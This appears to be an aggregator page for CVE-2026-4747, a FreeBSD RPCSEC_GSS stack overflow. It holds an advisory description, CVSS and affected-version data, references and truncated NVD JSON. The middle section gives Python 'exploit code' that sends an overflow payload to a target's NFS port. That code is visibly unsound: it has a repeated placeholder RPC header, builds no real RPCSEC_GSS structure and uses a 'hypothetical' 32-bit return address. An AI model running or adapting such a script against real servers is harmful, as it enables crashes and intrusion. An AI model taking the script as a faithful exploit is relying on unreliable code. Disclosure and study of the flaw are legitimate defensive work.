CVE-2026-4747

Description

Each RPCSEC_GSS data packet is validated by a routine which checks a signature in the packet. This routine copies a portion of the packet into a stack buffer, but fails to ensure that the buffer is sufficiently large, and a malicious client can trigger a stack overflow. Notably, this does not require the client to authenticate itself first. As kgssapi.ko's RPCSEC_GSS implementation is vulnerable, remote code execution in the kernel is possible by an authenticated user that is able to send packets to the kernel's NFS server while kgssapi.ko is loaded into the kernel. In userspace, applications which have librpcgss_sec loaded and run an RPC server are vulnerable to remote code execution from any client able to send it packets. We are not aware of any such applications in the FreeBSD base system.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p2:*:*:*:*:*:* - VULNERABLE

FreeBSD (受影响版本请参考官方通告FreeBSD-SA-26:08)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# Proof of Concept for CVE-2026-4747
# This script demonstrates the buffer overflow vulnerability in RPCSEC_GSS implementation.
# It sends a crafted RPC packet to trigger the stack overflow.

TARGET_IP = "192.168.1.100"
TARGET_PORT = 2049  # NFS Port

# Constructing the malicious payload
# The vulnerability allows overflowing the stack buffer by sending a large
# RPCSEC_GSS data packet without proper size validation.

def create_exploit_packet():
    # RPC Header (Simplified for PoC)
    rpc_header = b"\x80\x00\x00\x28" * 4  # Fragment header
    
    # Payload to overflow the stack buffer
    # Adjust the size and offset based on the specific target version
    overflow_size = 2000
    padding = b"A" * 500  # Offset to the return address
    
    # Hypothetical return address to bypass DEP/ASLR (example)
    # In a real exploit, this would be a ROP chain or jump to shellcode
    ret_addr = struct.pack('<I', 0x08048484) 
    
    # Fill the rest of the buffer
    filler = b"C" * (overflow_size - len(padding) - len(ret_addr))
    
    payload = rpc_header + padding + ret_addr + filler
    return payload

if __name__ == "__main__":
    try:
        print(f"[*] Sending exploit packet to {TARGET_IP}:{TARGET_PORT}...")
        payload = create_exploit_packet()
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET_IP, TARGET_PORT))
        sock.send(payload)
        sock.close()
        print("[+] Payload sent successfully. Check target for crash or code execution.")
    except Exception as e:
        print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4747
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4747
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4747/
[4] VulDB https://vuldb.com/cve/CVE-2026-4747
[5] https://security.freebsd.org/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc
[6] https://github.com/califio/publications/tree/main/MADBugs/CVE-2026-4747
[7] https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4747", "sourceIdentifier": "[email protected]", "published": "2026-03-26T07:16:20.670", "lastModified": "2026-04-20T13:47:31.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Each RPCSEC_GSS data packet is validated by a routine which checks a signature in the packet. This routine copies a portion of the packet into a stack buffer, but fails to ensure that the buffer is sufficiently large, and a malicious client can trigger a stack overflow. Notably, this does not require the client to authenticate itself first.\n\nAs kgssapi.ko's RPCSEC_GSS implementation is vulnerable, remote code execution in the kernel is possible by an authenticated user that is able to send packets to the kernel's NFS server while kgssapi.ko is loaded into the kernel.\n\nIn userspace, applications which have librpcgss_sec loaded and run an RPC server are vulnerable to remote code execution from any client able to send it packets. We are not aware of any such applications in the FreeBSD base system."}, {"lang": "es", "value": "Cada paquete de datos RPCSEC_GSS es validado por una rutina que verifica una firma en el paquete. Esta rutina copia una porción del paquete en un búfer de pila, pero no asegura que el búfer sea lo suficientemente grande, y un cliente malicioso puede desencadenar un desbordamiento de pila. En particular, esto no requiere que el cliente se autentique primero.\n\nDado que la implementación RPCSEC_GSS de kgssapi.ko es vulnerable, la ejecución remota de código en el kernel es posible por un usuario autenticado que sea capaz de enviar paquetes al servidor NFS del kernel mientras kgssapi.ko está cargado en el kernel.\n\nEn el espacio de usuario, las aplicaciones que tienen librpcgss_sec cargado y ejecutan un servidor RPC son vulnerables a la ejecución remota de código desde cualquier cliente capaz de enviarle paquetes. No tenemos conocimiento de ninguna aplicación de este tipo en el sistema base de FreeBSD."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:*", "matchCriteriaId": "947F561E-AD65-43B9-94C1-3109A3D35248"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:*", "matchCriteriaId": "4216D505-95A5-4FCC-8B9A-26FCD32B0445"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:*", "matchCriteriaId": "3D1987F1-1E08-4B28-8D16-D25A091D99ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:*", "matchCriteriaId": "4C859EE2-59C0-4234-BFF0-7794AC4956DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p2:*:*:*:*:*:*", "matchCriteriaId": "BEC1E8A0-0402-45F1-938D-FEFDCFC3E747"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p3:*:*:*:*:*:*", "matchCriteriaId": "D94457D6-738F-4ABB-BD46-F2B621531FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p4:*:*:*:*:*:*", "matchCriteriaId": "8C38CB56-B80C-4D1B-9267-16E8F985B170"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p5:*:*:*:*:*:*", "matchCriteriaId": "13DF1E38-5E8D-42FF-A4C5-092300864F3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p6:*:*:*:*:*:*", "matchCriteriaId": "83A86F81-0965-4600-835A-496756137998"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p7:*:*:*:*:*:*", "matchCriteriaId": "987E31A4-7E21-471E-A3EA-4E53FFDB3DFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p8:*:*:*:*:*:*", "matchCriteriaId": "9FBFE8B3-DC7C-4394-B062-C40E201EC059"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p9:*:*:*:*:*:*", "matchCriteriaId": "563C1D65-625D-43FC-A7A0-75B1E2163C40"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulner ... (truncated)